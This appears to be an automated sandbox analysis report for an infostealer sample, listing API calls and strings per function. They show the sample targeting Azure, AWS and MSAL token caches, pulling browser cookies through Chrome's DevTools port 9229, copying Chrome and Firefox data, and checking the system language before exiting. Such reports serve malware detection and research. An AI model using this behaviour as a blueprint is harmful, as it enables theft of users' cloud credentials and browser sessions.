Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$strlen$Internetmemset$Openlstrlenmemchrmemcmp$CloseHandleXinvalid_argumentlstrcpystd::_
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2819545660-3542011879
Opcode ID: 7775a11262da657fbb157be4ff954d9941f0ba325666d98bbc5a91b6d730fad9
Instruction ID: b540eaeb279dbfcfd163366440d74e21401fa170f1991751a447ef14598e0c56
Opcode Fuzzy Hash: 7775a11262da657fbb157be4ff954d9941f0ba325666d98bbc5a91b6d730fad9
Instruction Fuzzy Hash: 7BE11871E00219DBDF14EFA8C884ADDBFB5BF48300F5444A9E949B7251EB74AA45CB90

Function 0059E880 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 200stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0059E8A1
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0059E8CE
lstrcpy.KERNEL32(00000000,?), ref: 0059E900
lstrcatA.KERNEL32(?,00000000), ref: 0059E90C
lstrcatA.KERNEL32(?,\.azure\), ref: 0059E923
memset.MSVCRT ref: 0059E961
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0059E98C
lstrcpy.KERNEL32(00000000,?), ref: 0059E9C0
lstrcatA.KERNEL32(?,00000000), ref: 0059E9CC
lstrcatA.KERNEL32(?,\.aws\), ref: 0059E9E3
memset.MSVCRT ref: 0059EA21
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0059EA51
lstrcpy.KERNEL32(00000000,?), ref: 0059EA82
lstrcatA.KERNEL32(?,00000000), ref: 0059EA8E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0059EAA5
memset.MSVCRT ref: 0059EAE3

Strings

Azure\.IdentityService, xrefs: 0059EAAB
*.*, xrefs: 0059E92E, 0059E9EE
\.azure\, xrefs: 0059E919
\.IdentityService\, xrefs: 0059EA9B
Azure\.azure, xrefs: 0059E929
msal.cache, xrefs: 0059EAB0
Azure\.aws, xrefs: 0059E9E9
\.aws\, xrefs: 0059E9D9

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$FolderPathlstrcpy
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4067350539-3645552435
Opcode ID: 7de6884316ceb7b8b0ad5bebd59ef77173e136d51afb10b18e786e45baa34211
Instruction ID: d6b57d3790738aebd1327029ee15d3b791c00f10e69f16e22b6d38f7fbd28afb
Opcode Fuzzy Hash: 7de6884316ceb7b8b0ad5bebd59ef77173e136d51afb10b18e786e45baa34211
Instruction Fuzzy Hash: B861D531604305ABD724FBA4CC4EFDE7FE4BFC4B00F408918BB99961D1EA74A9498796

Function 005A1BF0 Relevance: 40.7, APIs: 27, Instructions: 182stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005A1C0F
GetUserDefaultLangID.KERNEL32 ref: 005A1C15
ExitProcess.KERNEL32 ref: 005A1C38

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: DefaultExitLangProcessUserlstrcpy
String ID:
API String ID: 947182691-0
Opcode ID: 085fe5d0452030a6fbe321798eb56b183b013f51d2c2de2a5fd4f22911701939
Instruction ID: 9229a25de25b5cd4e10b079311018e3dc30fcd259460f61d0a52f37903adbe3a
Opcode Fuzzy Hash: 085fe5d0452030a6fbe321798eb56b183b013f51d2c2de2a5fd4f22911701939
Instruction Fuzzy Hash: B3516F31900617AFCB21BBB4DC4DF6E7EB9BF86741F048124FA16A6161DB389D01CB69

Function 005951C9 Relevance: 35.4, APIs: 23, Instructions: 869stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005951F0
lstrlenA.KERNEL32(011DFFB0), ref: 00595200
lstrcpy.KERNEL32(00000000,00000000), ref: 0059522B
lstrcatA.KERNEL32(00000000,00000000), ref: 00595237
lstrcpy.KERNEL32(00000000,00000000), ref: 00595261
lstrcpy.KERNEL32(00000000,00000000), ref: 0059529F
lstrcatA.KERNEL32(00000000), ref: 005952A9
lstrcpy.KERNEL32(00000000,00000000), ref: 005952D4
CopyFileA.KERNEL32(?,00000000,00000001), ref: 005952F2
lstrcpy.KERNEL32(00000000,?), ref: 0059531D
CopyFileA.KERNEL32(?,?,00000001), ref: 00595333
lstrcpy.KERNEL32(00000000), ref: 00595393
lstrcpy.KERNEL32(00000000,?), ref: 005953B9
lstrcpy.KERNEL32(00000000,?), ref: 005953EB
lstrcpy.KERNEL32(00000000,?), ref: 0059541D
lstrcpy.KERNEL32(00000000,?), ref: 0059544F
lstrcpy.KERNEL32(00000000,00000000), ref: 00595476
DeleteFileA.KERNEL32(00000000), ref: 005954A3
lstrcpy.KERNEL32(00000000,?), ref: 00595584
lstrcpy.KERNEL32(00000000,?), ref: 005955AF
lstrcpy.KERNEL32(00000000,?), ref: 005955E8
FindNextFileA.KERNELBASE(?,?), ref: 00595689
FindClose.KERNEL32(?), ref: 00595698

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$CopyFindlstrcat$CloseDeleteNextlstrlen
String ID:
API String ID: 857633602-0
Opcode ID: f436f54437648e439e181e78b4f7d4cfc8b0f8f1ff7b08a8cb031a3287248a9f
Instruction ID: 264dfccac3749cd461f56a9184b287f53167aa03de36baff50cdce1ed87cd7eb
Opcode Fuzzy Hash: f436f54437648e439e181e78b4f7d4cfc8b0f8f1ff7b08a8cb031a3287248a9f
Instruction Fuzzy Hash: E172F870A016058FDF29CF29C588B2ABBE5BF44714F19C1ADE9099B3A2E735DC52CB44

Function 00594B10 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 309stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00594B43
LocalAlloc.KERNEL32(00000040,?), ref: 00594B75
lstrcpy.KERNEL32(00000000,005AD014), ref: 00594BC2
lstrlenA.KERNEL32(005B5120), ref: 00594BCD
lstrcpy.KERNEL32(00000000,00000000), ref: 00594BEA
lstrcatA.KERNEL32(00000000,005B5120), ref: 00594BF6
lstrcpy.KERNEL32(00000000,00000000), ref: 00594C1B
lstrcpy.KERNEL32(00000000,00000000), ref: 00594C48
lstrcatA.KERNEL32(00000000,00000000), ref: 00594C53
lstrcpy.KERNEL32(00000000,00000000), ref: 00594C7A
StrStrA.SHLWAPI(?,00000000), ref: 00594C8C
lstrlenA.KERNEL32(?), ref: 00594CA0
lstrcpy.KERNEL32(00000000,005AD014), ref: 00594CE1
lstrcpy.KERNEL32(00000000,?), ref: 00594D68
lstrcpy.KERNEL32(00000000,?), ref: 00594D91
lstrcpy.KERNEL32(00000000,?), ref: 00594DBA
lstrcpy.KERNEL32(00000000,?), ref: 00594DE0
lstrcpy.KERNEL32(00000000,?), ref: 00594E0D

Strings

^userContextId=4294967295, xrefs: 00594D04
moz-extension+++, xrefs: 00594CE7

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen$AllocLocal
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 4107348322-3310892237
Opcode ID: 6be2bf0952f95f8cbd9366f3ce3bc0f402094c7d29f45fa511c951536f783262
Instruction ID: 60d1cbdc0be6c3a18cd340e898fa4f52477d2caed616786fced72221a89d9838
Opcode Fuzzy Hash: 6be2bf0952f95f8cbd9366f3ce3bc0f402094c7d29f45fa511c951536f783262
Instruction Fuzzy Hash: D1B13E31A1120A9BCF25BFA8D98DEAE7FF5BF84700F044568FD55A7211DA34EC468B90

Function 0058E5C9 Relevance: 32.1, APIs: 17, Strings: 1, Instructions: 634stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058E5F0
CopyFileA.KERNEL32(?,?,00000001), ref: 0058E665
lstrcpy.KERNEL32(00000000,?), ref: 0058E6A5
lstrcpy.KERNEL32(00000000,?), ref: 0058E6CE
lstrcpy.KERNEL32(00000000,?), ref: 0058E6F6
lstrcpy.KERNEL32(00000000,?), ref: 0058E749
lstrcpy.KERNEL32(00000000,?), ref: 0058E772
lstrcpy.KERNEL32(00000000,?), ref: 0058E797
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0058E7B1
DeleteFileA.KERNEL32(?), ref: 0058E80D
StrCmpCA.SHLWAPI(?,011DD678), ref: 0058E837
lstrcpy.KERNEL32(00000000,?), ref: 0058E8C3
lstrcpy.KERNEL32(00000000,?), ref: 0058E8F5
lstrcpy.KERNEL32(00000000,?), ref: 0058E944
lstrcpy.KERNEL32(00000000,?), ref: 0058E96A
lstrcpy.KERNEL32(00000000,?), ref: 0058E9A2

Strings

Google Chrome, xrefs: 0058E7A8

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$CopyDelete
String ID: Google Chrome
API String ID: 676222653-3338836597
Opcode ID: 7e0e10b9b7fe1f110dd3ca73cfdc53d38534403baef1d7dade14cf5961203b0b
Instruction ID: 1788065cf1212c99f5f141c5f8c1b4ccd8347cb398717719dd2e5cc7b76af1e7
Opcode Fuzzy Hash: 7e0e10b9b7fe1f110dd3ca73cfdc53d38534403baef1d7dade14cf5961203b0b
Instruction Fuzzy Hash: EE422F70A012058FDB68EF29C98AB697BF5BF44714F19C5ADEC09AB261DB35DC41CB80

Function 00586B80 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229networkstringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00586BAF
lstrcpy.KERNEL32(00000000,005AD014), ref: 00586C02
InternetOpenA.WININET(005AD014,00000001,00000000,00000000,00000000), ref: 00586C15
StrCmpCA.SHLWAPI(?,011DD658), ref: 00586C2D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00586C55
HttpOpenRequestA.WININET(00000000,GET,?,011E1248,00000000,00000000,-00400100,00000000), ref: 00586C90
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00586CB7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00586CC6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00586CE5
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00586D3F
lstrcpy.KERNEL32(00000000,?), ref: 00586D9B
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00586DBD
InternetCloseHandle.WININET(00000000), ref: 00586DCE
InternetCloseHandle.WININET(?), ref: 00586DD8
InternetCloseHandle.WININET(00000000), ref: 00586DE2
lstrcpy.KERNEL32(00000000,00000000), ref: 00586E03

Strings

ERROR, xrefs: 00586CF2
GET, xrefs: 00586C8A

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$FileOpenReadRequest$ConnectInfoOptionQuerySend
String ID: ERROR$GET
API String ID: 3687753495-3591763792
Opcode ID: e02f088c0615b498d6c2410c9aedb62f73a0c716b6dfc42bf6737739da949129
Instruction ID: 4b03e3b7fb924754fb0b294d0faa7155b727434a97146b9ab6f4b7b4c97252a6
Opcode Fuzzy Hash: e02f088c0615b498d6c2410c9aedb62f73a0c716b6dfc42bf6737739da949129
Instruction Fuzzy Hash: 63816171A4121AABDB20EFA4CC49FAE7BB8BF44700F144164FE05F7290DB74AD458B95

Function 0058B3F9 Relevance: 30.5, APIs: 20, Instructions: 451stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058B420
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B46E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B499
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B4A1
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B4C9
lstrlenA.KERNEL32(005B5210), ref: 0058B540
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B564
lstrcatA.KERNEL32(00000000,005B5210), ref: 0058B570
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B599
lstrlenA.KERNEL32(00000000), ref: 0058B61D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B647
lstrcatA.KERNEL32(00000000,00000000), ref: 0058B64F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B677
lstrlenA.KERNEL32(005B5094), ref: 0058B6EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B712
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058B71E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B74E
lstrlenA.KERNEL32(?), ref: 0058B857
lstrlenA.KERNEL32(?), ref: 0058B866
lstrcpy.KERNEL32(00000000,00000000), ref: 0058B88E

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9fadb535cbc0cd809f4d15a36f5741fa4dc47317de8fe2cd08fe4b79414fd18d
Instruction ID: f9620ce61dfbf8dcdcff604e5121b17c5eddf05a4b6510b91b2c5bffe4703ea6
Opcode Fuzzy Hash: 9fadb535cbc0cd809f4d15a36f5741fa4dc47317de8fe2cd08fe4b79414fd18d
Instruction Fuzzy Hash: C4022170A016068FEB24EF59D949B6ABFF9BF44704F188169ED09AB261D735DC42CF80

Function 005A3700 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 222registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

RegOpenKeyExA.KERNEL32(?,011DE238,00000000,00020019,?,00000000,00000000), ref: 005A375D
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 005A3797
wsprintfA.USER32 ref: 005A37C2
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 005A37E0
RegCloseKey.ADVAPI32(?), ref: 005A37EE
RegCloseKey.ADVAPI32(?), ref: 005A37F8
RegQueryValueExA.KERNEL32(?,011E0340,00000000,000F003F,?,?), ref: 005A3841
lstrlenA.KERNEL32(?), ref: 005A3856
RegQueryValueExA.KERNEL32(?,011E0310,00000000,000F003F,?,00000400), ref: 005A38C7
RegCloseKey.KERNEL32(?), ref: 005A3912
RegCloseKey.ADVAPI32(?), ref: 005A3929

Strings

%s\%s, xrefs: 005A37B6
|V[, xrefs: 005A3865
- , xrefs: 005A38D1
?, xrefs: 005A373E

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Close$OpenQueryValue$Enumlstrcpylstrlenwsprintf
String ID: - $%s\%s$?$|V[
API String ID: 13140697-1118512356
Opcode ID: fb70974098c5c6de16b3731d426188664fd8956609dd492390dec340fcc45a2c
Instruction ID: 63a7f0655616111766e794e2c71e3e27b76329a9f96827504b23199b0b824fb7
Opcode Fuzzy Hash: fb70974098c5c6de16b3731d426188664fd8956609dd492390dec340fcc45a2c
Instruction Fuzzy Hash: 3D915F729002099FCB10DF94DC84EEEBBB9FF89314F1585A9F609AB251D7359E42CB90

Function 005890F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 161networkstringfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(005AD014,00000001,00000000,00000000,00000000), ref: 0058910F
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 0058912C
InternetCloseHandle.WININET(00000000), ref: 00589139
strlen.MSVCRT ref: 00589155
InternetReadFile.WININET(?,?,?,00000000), ref: 00589196
InternetReadFile.WININET(00000000,?,00001000,?), ref: 005891C7
InternetCloseHandle.WININET(00000000), ref: 005891D2
InternetCloseHandle.WININET(00000000), ref: 005891D9
strlen.MSVCRT ref: 005891EA
strlen.MSVCRT ref: 0058921D
strlen.MSVCRT ref: 0058925E

Part of subcall function 00597EB0: memchr.MSVCRT ref: 00597EEF
Part of subcall function 00597EB0: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00597F09
Part of subcall function 00597EB0: memchr.MSVCRT ref: 00597F28

strlen.MSVCRT ref: 0058927C

Part of subcall function 005889B0: std::_Xinvalid_argument.LIBCPMT ref: 005889C6

Strings

"ws://, xrefs: 00589259, 00589264
"webSocketDebuggerUrl":, xrefs: 005891E5, 005891F0
http://localhost:9229/json, xrefs: 00589126

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Internet$strlen$CloseHandle$FileOpenReadmemchr$Xinvalid_argumentmemcmpstd::_
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 4166274400-2144369209
Opcode ID: 2f17e669f2119fa394864117be484b5b18e98dd8a48402bd87e9d97e16c63ab1
Instruction ID: 2d1b8563c39772757626ec149513bebf976fe33356484c4f221b38440d9df884
Opcode Fuzzy Hash: 2f17e669f2119fa394864117be484b5b18e98dd8a48402bd87e9d97e16c63ab1
Instruction Fuzzy Hash: AF51B571600205ABDB10EBA8DC49BEEBBF9FB48710F144169F905A3290EBB5A944C7A5

Function 0058A070 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 251stringlibraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(011DD888,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0058A086
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A0B3
lstrlenA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0058A0C0
lstrcpy.KERNEL32(00000000,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0058A0EA
lstrlenA.KERNEL32(005B520C), ref: 0058A0F5
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A112
lstrcatA.KERNEL32(00000000,005B520C), ref: 0058A11E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A144
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A14F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A174
SetEnvironmentVariableA.KERNEL32(011DD888,00000000), ref: 0058A18F
LoadLibraryA.KERNEL32(011E0C18), ref: 0058A1A3

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0058A080, 0058A0BB, 0058A0E4

Memory Dump Source

